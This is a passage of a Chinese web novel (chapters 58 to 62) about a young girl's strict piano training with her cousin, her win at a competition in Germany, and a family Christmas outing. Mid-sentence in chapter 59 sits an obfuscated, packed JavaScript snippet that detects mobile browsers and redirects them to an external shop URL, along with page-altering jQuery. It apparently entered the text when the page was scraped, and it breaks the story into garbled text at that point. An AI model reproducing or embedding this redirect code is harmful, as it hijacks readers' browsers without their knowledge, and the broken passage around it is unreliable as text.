蒋澈心里觉得她这样仰着脑袋诚恳询问自己的模样很可爱,忍不住摸了一下她的头,教她:“你可以按照小组分工,每一周让一个小组负责一次黑板报,这样就不用你一个人全干了。” “而且粉笔灰吸多了很不健康的,我不想你总是来画黑板报。” “我帮你写一个表格,贴在教室前面,等会我就去讲台上通知同学们,以后你就负责黑板报的检查,只用去找小组长就行了。” 蒋婧对这套流程的态度有些畏缩,不过更多地是对蒋澈的信赖和崇拜。她仿佛见到新世界一般,溜圆的眼睛里闪着盈盈的光,说道:“你好厉害啊,阿澈哥哥,幸好你在,不然我都不会当宣传委员!” 成就感和满足感如约而至,蒋澈牵起她的手回座位,笑着说道:“你不用担心。我是班长,我会帮助你当宣传委员的。要是以后他们不听你的,或者你害怕管理他们,你就叫我,我陪你一起。” “走吧,现在我来教你怎么做人员的安排表。” 59.第59章 陆续在国内的几个全国赛事中斩获首等名次,蒋婧在北城的钢琴圈内,逐渐小有名气。 蒋斐轩根据自己的经验,和李教授商讨之后,决定为她选择一个国际赛事小试牛刀。 “国内的练习和比赛只是基础,参加国际比赛,你才能够开阔视野,获得更高水平的提升。” “我之前也是在你这个年纪开始去国际上参加比赛的,你只要按照我给你安排的步骤去做,以后你就能和我一起成为钢琴演奏家。” 周六下午上完钢琴课,蒋斐轩牵着蒋婧,迎着夕阳的光走出李教授的音乐中心时,他这样说道。 蒋婧爬上车坐好,由着哥哥细致地给自己系上安全带,说道:“可是我还没有想好要不要成为一个钢琴家呢,斐轩哥哥。” 蒋斐轩站在车门口,逆着光,专注又柔和地望着她,说道:“你不可以浪费你的音乐天赋。况且,和我一起成为演奏家,我们就能一直走在同一条道路上,一直这样在一起,弹琴、参加比赛、甚至开只属于我们两个人的音乐会。” “我想你一直和我一起,你不愿意吗?” “愿意的呀~”蒋婧想象不到那样的画面,不过还是顾及他的感受,乖巧地应和道。 蒋斐轩满意地微笑看着她,沉浸在自己对未来的憧憬中,心宛如一片春日煦阳里漫开轻柔涟漪的湖泊。 * 进入备赛阶段,蒋斐轩对她总是很严格,哪怕他说话的语气是那样温柔。 “不可以这样弹,过度处理会显得做作。” “不要自由发挥,不要做rubato,严格按照谱面要求。” “要庄严的喜悦,而不是傻乐。重来一遍,就这一段,慢慢地往回收,有点张力,再练。” “这一遍弹得倒是很正确,不过很平淡无趣,再给点感觉,重来。” “到这里要突快而清晰,要愤怒!如同你是一只被激怒的小野兽!” 蒋婧听得脑袋发晕,胳膊一撂,“嗷呜”了一声,奶里奶气地振奋道:“要愤怒!我是一只被激怒的小野兽!” 她跟着哥哥的话语走,为了追求高昂的情绪,速度很快地动着手指,把连续不断的十六分音符弹得噼里啪啦。 蒋斐轩猛地失笑,摁住了她的手,说道:“旋律的线条感呢?都被你的爪子刨没了?” “这段重来。” 蒋婧仰头长叹一声,有些受不了地说道:“斐轩哥哥,已经练了好久了,我们可以休息了吗?” 蒋斐轩瞥了一眼墙上的时钟,指关节敲敲琴面:“才过了两个小时,这点程度都坚持不了吗?” “可是我每天就只练两个小时的钢琴。” “你马上要参加比赛了,两个小时根本不够,每天起码要加到四个小时。” 见蒋婧皱起眉头,还要靠撒娇争取,蒋斐轩直接打断施法:“你如果非要休息,我就不会管你这次比赛的练习了。” “我认真的。要在台上流畅地把这么长的曲子一音不错又有表现力地演奏出来,你必须在台下付出数倍的时间和艰辛,现在就喊累,你以后怎么和我一起成为钢琴演奏家。” 蒋婧鼓着脸反驳:“可是我之前的比赛没有这么练也拿奖了!” “那是因为你前面的备赛时间充裕。这一次不一样,我们月末就要去比赛了,这一个月的时间,你都必须进行魔鬼训练。” * 满打满算地练完四个小时,蒋婧疲惫地走出琴房,弯到了大伯父的木雕工艺房。 大伯家的房子装潢是透着沉稳豪奢气的复古公馆风格,因而一走进这间质朴整洁的原木式的挑高手工室,一瞬时给人带来新的感官体验。 走过一墙的直抵天花板的木料架,蒋婧吸了吸鼻子,去闻空气里散发出的老檀木的沉静甜香,感觉被五线谱折磨的脑袋有了片刻的放松。 蒋铮褪去日常工作时的西装,现下只着一件质感柔软的羊毛衫,袖口随意挽至肘间,露出结实的小臂。他正背对着在窗前的巨型工作台前,带着某种冷静的专注雕刻着手里的物件儿。 蒋婧悄无声息地游走过去,用小手从里挽住大伯的胳膊,把脑袋轻轻侧靠在他的大臂上,以一种装神弄鬼的、刻意飘虚的语气说道:“你怕吗,是一只鬼来了哦~” 蒋铮弯起唇角,一把把她捞进怀里坐好,说道:“大伯可不会被一只可爱鬼吓到。” “好吧,那我下次会变得可怕一点来吓你。” “好,大伯等着你来吓我。” 他的手里正雕着预约的冰雪女王,蒋婧把双手叠在桌子上,脸趴在上面,凑近了去看,说道:“大伯,你这么快就雕好了。” “小婧要的定制,大伯自然不会怠慢。”蒋铮把手里的东西拿远,说道:“乖乖,坐起来看,等会木屑儿弄到眼睛了可就不好了。” 蒋婧听话又坐起来,乖静地盯着他的动作看。 他会心一笑,感到一阵柔软的温情。 木雕是蒋铮闲下来独处时最放松的一个爱好。雕刻对于他来说,不是商界之外的另一个需要征服的领域,而是一个放松精神的冥想方式。 或大或小的、千奇百怪的、写实抽象的作品,整洁地被收置在左侧的展示区域,既有堪比职业匠人的无可挑剔的手艺,又有着一种无功利的生动灵性。 自从蒋婧出生后,他又创作了许许多多充满童趣的作品。尤其是在蒋婧有了自己的房间后,她房间里的装饰品大部分都是从他这里出去的,每一个都是他倾注了爱意为小侄女手工制作。 偶尔蒋婧突发奇想要什么,还会给他发语音过来,那种软软糯糯又努力仔细描述的语调,时常会把他说得心都融化了。 她再大一些的时候,会好奇地跟着要学,他不放心她独自拿刻刀,都是抱着她在怀里,握着她的手,一刀一刀地教。 不过经过某次她还是不小心刮到手弄出血珠之后,蒋铮便再不敢冒险让她玩这个,只是自己雕好原型后,让她来上色。 现下也是如此。 “大伯,这些都要涂颜色吗?”蒋婧看着他放在自己面前的几只小鸟,爱不释手地把玩着,说道:“你想要什么颜色,大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16675201|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伯?” “大伯相信你的审美,你觉得合适的颜色,就是最好的颜色。” “那我就给你画一只草莓色的小鸟。” “好,你画。” 两个人坐在一起,一个雕,一个画,氛围很是宁静。 蒋铮不时察看一下她的动态,面容上始终保持着和蔼的神态。 “你今天和斐轩哥哥练琴练得怎么样?有进步了吗?” 蒋婧一边拿着笔涂色,一边说道:“我不知道有没有进步,这个你得去问斐轩哥哥,大伯。因为斐轩哥哥最知道我弹得好不好了。” 房间之间即使隔音良好,透过打开的窗户,还是能依稀听到隔壁琴房的乐声。 蒋婧倾耳去听,忽然说道:“大伯,你家斐轩哥哥为什么这么厉害?他弹的琴都很好,都可以当我的老师。” “你也弹得很好啊。他能弹得好,也是靠练习的嘛,你不也是吗?” 蒋婧停下了手里的涂抹动作,抬起头有些梳理不清头绪地说道:“不是,我不是说这个。就是,我也练习,但是还是没有斐轩哥哥弹得好。我也练习,但是不能练习很久很久,可是为什么斐轩哥哥可以?是因为他是大孩子吗?我不能够像他那样不累,我就觉得有点难过了。” 蒋铮同样暂停了雕刻的进程,耐心地听她讲,捕捉她想要表达的意思。 “你想要说的是,斐轩哥哥可以每天练习很长时间都不累,但是你不可以,所以你有些难过吗?” 蒋婧想了想,似是而非地点点头:“可能是吧?为什么他都不累呀?” 蒋铮笑了一下,摸摸她的后脑勺,听着从窗户外飘进来的流水一样的钢琴音乐,说道:“他必定是很累的,每天练琴快长达十个小时,怎么会不累?” “不过,这是斐轩自己选择的道路,他不能够喊累。” “什么意思哇?”蒋婧疑惑地望着他,微微张开小嘴露出两颗小兔门牙。 “意思就是,你斐轩哥哥既然传承了我的血脉,就需要从小意识到人生的艰辛和现实的无情,然后尽早确立一个生活的目标,始末不渝地贯彻到底,做出一番成就。” “小婧,你也是。每个人都应该尽早找到自己的人生目标,并为之付出努力。岁月不可待,磨砺自己成才的时间是需要牢牢抓住的,不可让它消逝在一味的玩乐之中。” “当然,劳逸结合、适当娱乐也很重要。不过斐轩心里有了更高更远的目标时,他就连娱乐也不想要了,一心只想提升,这才是他即使感到疲惫也能坚持下去的原因。” 听得似懂非懂,也不妨碍蒋婧的内心受到一种奇特的启发。她万分景仰地看着大伯:“那我以后感到累累的时候,我也会努力坚持下去的。斐轩哥哥都是我的榜样。” 蒋铮忍不住把她抱进怀里轻晃了一下,朗声道:“大伯可不舍得你累,也绝对不会让你感到很累。小婧,你尽管去确定你的人生目标,不管是什么样的高山,大伯都会拼尽全力,帮助你不辛苦地攀登上去。” “大伯的小婧,会拥有最灿烂的金色人生。” 60.第60章 备赛的时间一天天紧张起来,蒋婧本就是个极易感知到他人情绪的孩子,在蒋斐轩日益严苛的训练下,她能感觉到斐轩哥哥似乎比她还要看重这次比赛。 每天放学,她上完芭蕾课回来,斐轩哥哥就会来秋水庄园和她一起练琴,从晚上八点到十一点,中间只休息十分钟。 偶尔忘情起来,他甚至会加练到十二点,最后直接在四叔家里留宿。 蒋源和程与英对女儿并没有太多的卷娃心思,以为她是不好意思拒绝斐轩哥哥,还特意询问她是不是太辛苦了。 蒋婧面对爸爸妈妈的担心,却表现截然相反的态度。 “我答应了斐轩哥哥要和他一起成为钢琴家的,斐轩哥哥说了,这是我第一次亮相国际赛事,必须闪亮登场!所以我要好好练琴的,我要像斐轩哥哥那样,很累也能坚持下去。” 蒋源和程与英听了,既感到心疼,又油然而生出无限的骄傲。 不过夫妇俩还是认为睡觉时间很重要,程与英坚持道:“最迟练到十一点,十一点半准时睡觉。等你比完这个比赛,还是要像以前一样十点就睡觉。” 蒋婧点头如捣蒜,无比同意地说道:“我会的妈妈,我最喜欢睡觉了。等我比完,我要睡好多觉,因为我这些天都有些睡不够。” 爸爸和哥哥们都心疼极了,练琴期间不时嘘寒问暖、送水果点心,守着时间,严格卡点来阻止他们超时训练。 * 蒋斐轩很满意近来妹妹这样配合他的练琴计划,不过顺利的备赛进程在选曲上又出现了意见相左。 他为她选了一套难度水平很高的曲目,避免了那些大众化的、被弹滥的自选曲。 可是蒋婧却不愿意,坚持要选自己想弹的曲子。 “这些曲目,能展现你的技巧实力,还能讨巧地贴合评委的胃口,对你得奖百利而无一害。” “可是我不喜欢弹,我觉得它们不怎么打动我,我想弹一些我觉得动听的曲子。” 蒋斐轩按捺着总是能被她轻易挑起的情绪,试图说服她:“你选这首曲子,技巧上不占优势,在表达上也很难出彩,欧洲的评委对莫扎特的演奏挑剔至极,一首技术简单还处理得不好的莫扎特,比一首能展现技术、但内容单薄的练习曲更扣分。” “可是你说了,最后的决赛等于我自己的演奏会,是要向大家展示我的音乐世界。我就想弹这个,我要弹这个。” “我是这样说了,但是这到底还是一场比赛,不是演奏会,你要做的是竞争,打败别人,拿到奖项,被人们看到!这样你才算脱颖而出。” 蒋婧一时有些黯然神伤,抿着嘴又忍不住泛泪,觉得他说的对,但还是想弹自己喜欢的曲子。 争论的声音乍一停下,就只剩窗外呼啸的冷风声。 天气越来越冷了,因为摆放了钢琴,房间里严格控制着空气的湿度,暖气开得比其他房间低一些。 她的手许是由于冷,不自觉地蜷成拳头。 蒋斐轩叹了一口气,上前用手包裹住她小小的冰凉的手,传递着自己手掌的温度。 “对不起,我又对你说太多严厉的话了。” “没关系。”蒋婧翁着声音说道。 “我还是要弹我自己选的曲子的,斐轩哥哥。我想让大家听我弹这个。”她仰起头看他,年幼的脸蛋上一瞬间表现出超乎同龄人的执著与心智。 蒋斐轩目光停留在她眼眸中很久,言语同样有着深藏情感的厚重。 “可我很想你获胜,想你尽快进到我这个专业圈子里。” 两个人谁也不让谁,最后还是让李教授出面来指导。 李教授花了一下午听她对不同曲目的表达,最后给出了她最具有表现力的一套。分别是她自己坚持的一首古典奏鸣曲,加上蒋斐轩定下的巴赫和近现代曲目。 蒋斐轩合理怀疑老师在端水,对于妹妹坚持要弹的曲目感到很担心。这实在是对音乐理解力有巨大考验的作品,很容易一失足就造成千古恨。 他保持沉默,心里却在盘算着如何在最短的时间内帮助她提升演奏水平。 * 两个孩子请了一周的假前往德国参加比赛。 在酒店安置好,蒋斐轩就拎着妹妹去主办方供参赛选手使用的准备练习室继续练习。 这是一座历史悠久的音乐学院,在琴房的走廊里,蒋婧能看到来自不同国家的参赛选手。 给她最大的冲击在于,目光所及的所有参赛选手的年纪都比她大了太多。 她像是一个误入了巨人国的迷你小人,要很努力地仰起头才能看清这些个子高大的人们长得什么样。 谁能让她赶快长高一点啊,她的脖子真的好酸。 完蛋了,她又接着想到。她觉得自己一定不会有机会获得奖项,因为这个比赛看起来都是大孩子们来参加的。 如果一个比赛全部都是大孩子,那还有她一个小孩子什么事呢? 蒋斐轩紧紧地握住她的手,若有来往的人向她投来目光,或是将要碰到她,都会第一时间把她挡在自己的身后。 迎面碰到一个练琴结束出来的金发女生,她看到蒋斐轩很是吃惊地尖叫了一声,然后格外狂热地用一口美式英语说道:“是你!Feixuan! 哦抱歉,原谅我的发音,你们中国人的名字真的很难念出标准的发音。” 蒋斐轩冷淡地微微皱眉,出声道:“抱歉,你哪位?” “我真的没想到能够在这里遇到你!你可能不记得我了,我们此前一起参加过这个比赛,那一年你毫无意外地获得了第一名和最受欢迎奖,至此成为钢琴界的冉冉新星。我当时太崇拜你了,不明白怎么会有和我差不多大的孩子能弹得这么好。我当时没有获得任何名次,消沉了一段时间,但奇妙的是,是你让我感到自残形愧,也是你让我再次燃起了重新追逐梦想的信心。今天能看到你简直是我人生中最幸福的一天,你能给我签个名吗?哦等等,你别告诉我,这一次的比赛你还参加吧?” 蒋斐轩不耐地皱起眉宇,打断她还预继续说的话:“抱歉小姐,我赶时间。以及,这一次我不参加比赛。祝你好运。” 蒋婧被哥哥牵着走,头却克制不住地仰起来,去盯着那个金发小姐姐看。 金发美女说了一句“你长得真可爱”,还朝她做了一个飞吻。 蒋婧 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蒋婧抿了抿嘴,心里其实想说可能不会拿奖,也不用太紧张,不过看他这么当一回事,她还是说道:“你放心吧,斐轩哥哥,我会好好弹的。” * 比赛会场是当地富丽堂皇的市政大剧院,台上只摆放着一架黑色的施坦威钢琴,台下座无虚席,来参与比赛的观众都身着正式的礼服。 蒋婧在后台候场时,听到了上场的选手们高超的演奏技巧,又有些紧张了起来。 本来是不紧张的,因为想着应该也不会拿奖。其他参赛选手比自己年纪大那么多,肯定要比她厉害很多很多。她都没有什么竞争力的,唉。 可是虽然秉持着到此一游的心态,要上台了还是有些紧张。 蒋婧用着哥哥教她的法子,在原地深呼吸,小跳了一下,张开双手做着放松的扩胸运动。 “原来是你要参加比赛吗?你叫什么名字啊?你和Feixuan是什么关系呀?” 陡然间,身后响起一阵高跟鞋的脚步声,随之而来的是有些耳熟的声音。 蒋婧转过去,发现是昨天遇到的那个金发姐姐。 她有些局促不安,但还是礼貌地用英文回复道:“我叫蒋婧,我是斐轩的妹妹。” “原来如此。你几岁了?” “再过几天就7岁了。” “7岁?你真的是报名这个组别的吗?和我一样?” 蒋婧不明白她的讶异从何而来,幅度很小地点点头。 那金发女孩做了一个吐血的动作,把蒋婧给逗笑了。 “也许你们家盛产钢琴神童呢,我记得你哥哥参加比赛那一年也只有7岁,我当时已经10岁了,无法接受被一个比自己小的孩子打败。现在我又卷土重来了,势必要在这场比赛里拿到冠军。” 蒋婧眼睛很专注地看着她,随着她的话语尤为赞赏理解似的点点头,非常饱含诚挚之意地说道:“我觉得你一定会得到冠军的,因为我哥哥这次不参加嘛,他不在的话,你就有机会了。祝你表演顺利!” 金发女孩觉得这话听起来还是有点扎心,但也没想太多,朝她一笑:“希望如此,那我先进场了,祝你也表演顺利。” 61.第61章 金发女孩未出差错地完成演奏后,谢礼款款下台,下一个就轮到了蒋婧。 她一出场,场下的观众目光就带上惊讶的含义,不约而同地聚集到她身上。 一个穿着浅金色复古宫廷感泡泡袖公主裙的小女孩,长相精致可爱,看起来个子大概才一米出头,是此次参赛中年纪最小的选手。评委互相交流着眼神,流露出总算可以放松些倾听演奏的舒坦笑意。 好在这是在欧洲,观众们即使内心充满了惊异,碍于高度重视礼仪、礼节的音乐会欣赏传统,也不会窃窃私语,否则蒋婧一定是下一秒就要逃跑了的。 她不敢看下面密密麻麻坐着的人,径直走到钢琴前手脚并用地爬上去坐下,发现椅子太矮了,又灰溜溜地滑下来,试图自己去把椅子调高。 好几秒过去了,她把升旋按钮转来转去,椅子还是没有升高。 蒋婧脸颊开始发烫,心都快要跳出来了,慌不择路地想要求助,迷茫地看向后台入口,原本站在那里的工作人员却不见身影。 蒋斐轩蹙眉坐在台下,心也跟着悬到了嗓子眼,见出了问题,立马起身。他走过去朝计时员比了个暂停的手势,甚至顾不及绕到后台,直接长腿一蹬,从台口翻了上去。 “斐轩哥哥,这个椅子扭不动。”蒋婧看救星似的望过来,急急地说道。 “别慌,我来处理。”蒋斐轩俯身,动作熟练地去调整椅子。 明明偌大的剧场坐了那么多人,整个空间却一时间静得吓人。 蒋婧无措地站在一边等着他,紧张地绞着手指,心脏砰砰的声音像是随着血脉的流动传递到了耳边。 “深呼吸。”蒋斐轩担心地看了她一眼,用只有他们两个人能听到的声音说道。 蒋婧闻言照做。 “再呼气,调整呼吸,让心跳慢下来。” 蒋婧摸着自己的胸口,继续听他的指令。 “就像平时在家练习时的那样演奏就好,不要紧张。” “是你说的,想让大家听你弹你喜欢的曲子,就是这个时刻了,小婧。让他们听到你心里的音乐。其他的一切,现在都不重要。” 在家的时候,蒋斐轩就经常帮她升椅子,对适合她演奏的高度十分熟悉,很快的三两下动作就调整好座椅。 下场之前,他站直身体,温和地、鼓励地看着她,最后说道:“我相信你能做好,小婧。加油。” * 终于落座完成,蒋婧看了一眼计时员,然后头转回到钢琴前,再次做了一个轻轻的深呼吸。 没关系,反正她也得不了奖的。她是小孩子,妈妈说,小孩子就算出丑了,也会被包容的。 她是来凑数的,嗯,没关系。只要不超时,圆满地弹完就好啦! 赶快弹完,就可以赶快去吃好吃的冰淇淋了! 在心里准备好,蒋婧抬手,精准地摁下第一个音,一点点让自己忘掉观众的存在,把身心都扔进绵延的音符之中。 台下的一排评委默契地抬头,随着音乐的行进,脸上逐渐浮现出认真倾听的神情。 莫扎特作品号为KV281的《降B大调钢琴奏鸣曲》,技巧难度不高,但要弹出内在的深度和灵性却极其困难。 在如此透明的织体下,很多技术上的不达标或是小瑕疵,再如何细微,都会暴露无遗。 于简约中见深邃,才越发考验演奏者的练习功底和音乐修养。 蒋婧的演奏听不到刻意炫技的痕迹,明亮如珠落玉盘的快板,歌唱性的、情感细腻的行板,充满孩童式的天真幽默的回旋曲,全然是从心中流露出的音乐本身在说话。 灵巧、圆滑的装饰音被她弹得很优雅,清晰均匀又情感给得恰到好处的音阶跑动,如溪流一般潺潺而出的旋律线条,在她的情感表达之外,又可见化技巧于无形的扎实功底。 25分钟内的演奏完毕后又过了好一会儿,蒋婧才从沉浸的表演空间中缓慢抽离出来。 她有些晃神,在某个时刻,她忽然懂得了《心灵奇旅》当中,一个音乐小人在演奏时,灵魂会短暂地飘回到生之来处的忘我之境是什么感受。 她起身走到台前,台下仍然悄寂无声,仿佛人们需要时间从一个梦中醒来。 蒋婧紧张地抓住裙摆,心里的失落刚刚涌现,就被久久不断的、如雷贯耳的掌声所淹没了。 有的人站起来欢呼,有的人奋力地大幅度鼓掌,有的人眼里甚至出现了泪花。 她睁着双清澈的大眼睛,有些茫然地看着台下激动的人群,反应了许久,才露出一个甜甜的笑容,拎起裙摆,脚交叉一点,鞠躬致谢。 * 评委需要花时间商议结果,最终的比赛成绩将在当晚的颁奖典礼上揭晓。 趁着这段时间,一家人回酒店休整后,简单地步行游览了这座城市,在巴洛克风格的宫殿建筑内享用了一顿美味的米其林法餐。 蒋婧终于吃上心心念念的冰淇淋,放空了脑袋发着呆,眼睛被冰得眯了一下,却笑得很幸福的样子。 “还想再来一份吗?菜单上的‘主厨精选甜品’还有一个青苹果雪葩。”蒋铮给她擦了下吃得满嘴都是的冰淇淋,眼里溺着宠爱的笑意问道。 “要要要!” 蒋源给她把牛排切好放过去,又叮嘱道:“慢点吃,等会胃受不了。吃完冰淇淋,缓一缓再吃热菜。” 蒋婧透过窗户去看远处热闹的集市,临近圣诞,亮黄的灯饰把整个街道和周边建筑装饰成温馨喜悦的氛围,还能依稀可见广场上吹拉弹唱的游艺音乐家,穿着德国传统服饰的人们正围着圈一起欢歌载舞。 “那里有圣诞老人!”蒋婧眼尖地盯着,兴奋地看着那个给路边的孩子们派送礼物的圣诞老人。 “我们等一下吃完饭可以去那里玩吗?我也想要圣诞老人给我发一个礼物!” 蒋源说道:“等一下我们还得回颁奖晚宴呀,还没宣布获奖名单呢。你要是喜欢,我们就多呆几天,让你体验一下这里的圣诞氛围。我们可以明天再来逛这个集市。” “爸爸,我肯定不会获奖的,我们不去了嘛,等一下就去 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在那里,蒋斐轩伫立在欢欣鼓舞的人群中,以一种独善其身的静默,望着她微笑,好似早就知道会如此。 “嘿,真没想到,第一名居然是你。我或许是和你们兄妹俩星座不和,你是什么星座来着?” 蒋婧看向身边说话的金发姐姐,又看了眼她手中第二名的奖杯,说道:“什么是星座?” “算了,这无关紧要。不管怎么样,还是祝贺你,你的莫扎特弹得很动听。” 蒋婧握住她伸过来的手,跟着扬起一个笑容:“谢谢你,你的德彪西也很不错!” 颁奖结束,她和爸爸在入口的媒体访问点接受采访,摄影机地闪光灯刷刷刷地响,蒋源抱歉地向围得水泄不通的媒体人士摆摆手,遮住蒋婧的眼睛,说孩子眼睛脆弱,恳请大家提问就好,尽量不要拍照。 有记者用英文问道:“那些难搞的评委们都说你是莫扎特小专家,这实在是令人振奋的评价。请问你小小年纪就能取得这样大的成就,对你来说,成功的秘诀是什么?” 蒋婧又在脑海里冒出来了小小的疑问。 啊?莫扎特小专家?她吗? “好吧,”蒋婧拿住扩音器,在爸爸的鼓励下,尽量克服社恐属性保持大方地回答道:“如果你非要问的话,我想我能成功只是因为,我演奏了我喜欢的曲子。” “人们在做自己喜欢的事情的时候,总是能做的很好,不是吗?” 那名记者脸上露出了很夸张的慨叹的神情,热血沸腾地说道:“你是一个天才,孩子!我回去后会在我的报道上会这样写,你是一个具有哲学气质的钢琴神童!这一定会为你带来前途无量的巨大声誉。我将助你成名,希望下次还能看到你更多的舞台呈现。” 蒋婧表情难言地看了看爸爸,不太明白这些赞誉为何来得这样突兀。 钢琴神童?她吗? 她不就是只是按部就班地,根据李老师和斐轩哥哥的要求,每天好好地练琴而已吗? 62.第62章 比完赛的后几天,蒋婧又为主办方给第一名设置的专场音乐会不停地练习,期间还伴随着一些无聊的参观会和酒会。等到这场比赛终于告一段落,很快就迎来了圣诞。 彻底没有练琴任务的这一天,蒋婧睡了一个自然醒的大懒觉。 包裹着自己的丝绸床品触感顺滑,蒋婧闭着眼睛,乌龟一样地伸展了一下四肢,上下晃晃,慢悠悠地醒过来。 大街上偶尔掠过的车流,被隔音良好的房间研磨成低频的的背景音,偶尔会若有若无地传来几声教堂清越的钟声。蒋婧仔细听了听,完全地清醒过来。 她的目光从窗户转到床顶,又一个翻身,猛地落到了坐在她床前盯着她看的蒋斐轩身上。 蒋婧惊奇地问道:“你在干什么斐轩哥哥?” 她的声音因为刚醒,甜软得让蒋斐轩耳根有些酥麻。 他保持着端坐的姿势,看着她说道:“观察你睡觉。” “我睡觉都很乖的,我妈妈说的,要我像蚕宝宝一样,把自己这样裹起来,晚上就不踢被子。” 蒋斐轩眼里隐有笑意,说道:“可我刚刚就给你盖了两次被子。” 他起身,把四叔走之前挑选好的衣服拿过来——白色毛绒齐膝大衣,黑白条纹加绒线裤,芭比粉高领内搭毛衣,带护耳的牛仔蓝雷锋帽、豹纹金的长款袜子。 一阵无语凝噎,蒋斐轩心里顿觉四叔的穿搭审美比起四婶来实在差劲。 他翻开了行李箱,专心致志地挑选了几件,放到了她床上,说道:“你把衣服穿好,四叔让我盯着你好好刷牙,然后我们去吃午餐。” “哦。” 房间里的暖气开得很足,蒋婧跳下床,四下五下把衣服穿好跑到酒店总统大套房的客厅。 淡粉色毛呢背心花朵裙,外罩一件千金风的大蝴蝶结披肩斗篷,加绒白色连裤袜配镶钻毛绒玛丽珍鞋。 蒋斐轩满意地在心里给予自己一定的肯定:嗯,不错,小公主就要有小公主的样子。 “你过来,我给你理理衣领。再给你梳一下头发。” 蒋婧听话地过去,任由他帮自己梳顺长发,用温热的毛巾给自己擦脸,盯着自己认真刷牙。 蒋斐轩低头看着镜子里说什么干什么的小不点,忽然笑着说道:“养一个蒋婧也没什么难度。” 甚至还挺有趣,是个打发时间的妙事。 她咕噜咕噜吐掉漱口水,转过来脆生生地说道:“对呀对呀,我不难养的,我都是乖小孩!” 蒋斐轩眉眼深邃,一双弧度流畅的精致桃花眼自带温柔底色,直视人的时候,潋滟的眼眸里如同存储了无尽的深情,此刻他毫无防备地笑了起来,更是俊美得勾人心魄。 蒋婧一边继续刷牙一边看着,不吝啬地评价道:“斐轩哥哥,你长得好好看啊。” 蒋斐轩又笑了一下,没忍住,就着她的刘海亲了一下她的额头。 “没你长得好看。” * 洗漱完备,有酒店的管家来接他们到酒店餐厅去用餐。 爸爸和大伯昨天晚上就告知她,他们今天要去赴约一个午餐会,见一个合作伙伴谈生意上的事,让她和斐轩哥哥呆在酒店里好好休息。 酒店一般都不配置钢琴,就是配置了,也是摆在大厅里当个摆设。蒋斐轩是手痒想练琴也没法。 他已经很久没有度过这样不用练琴的日子了,早上醒来无琴可练,他缓了很久才把这种令人焦虑的空虚感压下去。 蒋婧谨听爸爸的话,只能呆在酒店里看他给自己提前调配好的动画电影。 于是整个下午,他们都一起裹着厚重的毛毯,坐在沙发上看电影。 酒店里电子壁炉模拟的火焰跳动着,发出极其逼真的、木柴燃烧时的“噼啪” 轻响。 蒋斐轩本以为会很难吸引他,倒不曾想也看得津津有味。一场电影结束,他一扭头,蒋婧已经脑袋掉进沙发枕头里,呼呼大睡起来。 他瞬间哑然失笑,怎么又睡着了,小猪宝。 她身上有那种让人感到幸福和安宁的魔力。很奇怪,和她呆在一起,他总是忍不住因为她的一言一行想要扬起唇角。 蒋斐轩望了好一会儿她睡得俏红的脸,然后搂过她,关掉电视,也跟着躺在沙发上闭上了眼睛。 * 神清气爽地睡完一个午觉,蒋斐轩有点难以置信自己就这样毫无愧疚地花掉了白天近四个小时的黄金时间。 完全没有碰钢琴。 是以当两个爸爸回来说带他们出去逛逛市集的时候,他的第一反应是拒绝:“我不去了,小婧交给你们带。我去附近找一间琴室练琴等你们回来。” 蒋婧嘴巴微张,一双大眼睛瞬间睁得滚圆,黑亮的瞳孔里映着不可思议的光。 “你不和我们一起去找圣诞老人要姜饼小人了吗?斐轩哥哥?” 蒋斐轩避开她的注视,有些抵挡不住地说道:“我今天还没练琴。” “没练就没连呗。”她理所应当地说道,仰着头,眼神里尽是劝说。 “也不是非要每天都练琴的嘛,圣诞老人一年就只工作一天,都还是有很多人喜欢他。所以你如果只有一天不练琴,也还是会有很多人喜欢你弹琴的。” 蒋铮穿好大衣,过来给她把围巾和手套戴上,闻言一笑,跟着对儿子说道:“小婧说得对,蹭蹭西方人的节假日,今天就让自己好好放松一下,不练也没事。” 蒋斐轩不敢相信这是从自己爸爸口中说出的话,他不是每每和自己沟通交流,话里话外都是在督促他还不够优秀、不要停下脚步吗。 蒋婧把手套递到他手心,抓拽着哥哥的外套,望着他说道:“你休想去练琴,斐轩哥哥,我会牵住你的。你来吧好不好?我们一起去买圣诞礼物!” * 欢乐的节日音乐成为喧哗市井声的氛围基调,空气里弥漫着烤杏仁、烤红肠和新出锅的热红酒的香气。眼前是一片明灯闪烁、琳琅满目的街边小商铺,迎来送往的每一个路人都洋溢着喜悦的笑容。 蒋婧被大伯抱着漫步在集市中,兴奋不已地浏览着视觉信息过载的欢庆街道。 两个大人加一个小大人,都没有对街边小吃有品尝兴趣的习惯。不过蒋婧却是对每一个店面都抱以极大的野心,指挥着大伯边走边购买了一些香气四溢的小吃。 心形的华夫饼卖相可人,焦糖杏仁脆脆的,煎香肠太油腻,土豆煎饼蘸一点酸奶还不错,撒上了肉桂粉的炸苹果圈最好吃! 她每种只尝几口就吃不下,其他三人帮她消灭着剩下的小食,纵着她到处点单。 在一家木质装饰的温馨小酒馆,他们坐下稍作休息。 蒋婧像只树袋熊被大伯背在身上,跟着去点单,听他用有质感的低沉声音说着清晰流利的德语。 她听不太懂,但不妨碍她欣赏大伯说德语时语调平直、音节沉稳均匀的声音。 “大伯,你说这个外国话显得你很聪明,虽然你本来也很聪明。” “哦?那大伯要谢谢你的夸奖了。” “不用谢,我只是在陈述一个事实。” 蒋铮轻笑了一下,把她从背上揽过横抱起来,和她说笑着坐回到位置上。 两个大人点了热红酒,两个小朋友则各点了一杯无酒精的儿童潘趣酒。 蒋婧好奇地盯着他们喝了热红酒之后的反应,蒋铮递过来他的杯子,问到:“小家伙,尝一口?” “小孩也可以喝吗?我喝了会不会晕过去呀?” 蒋铮笑言道:“尝一小口不会。” 她双手捧着杯子,很小很小地抿了一口。 蒋铮眼里笑意柔和,问道:“什么味道?” “酸酸甜甜的,有一点点点点辣嗓子,我觉得一般般好喝,但是闻起来很香。” “很全面的品评。” 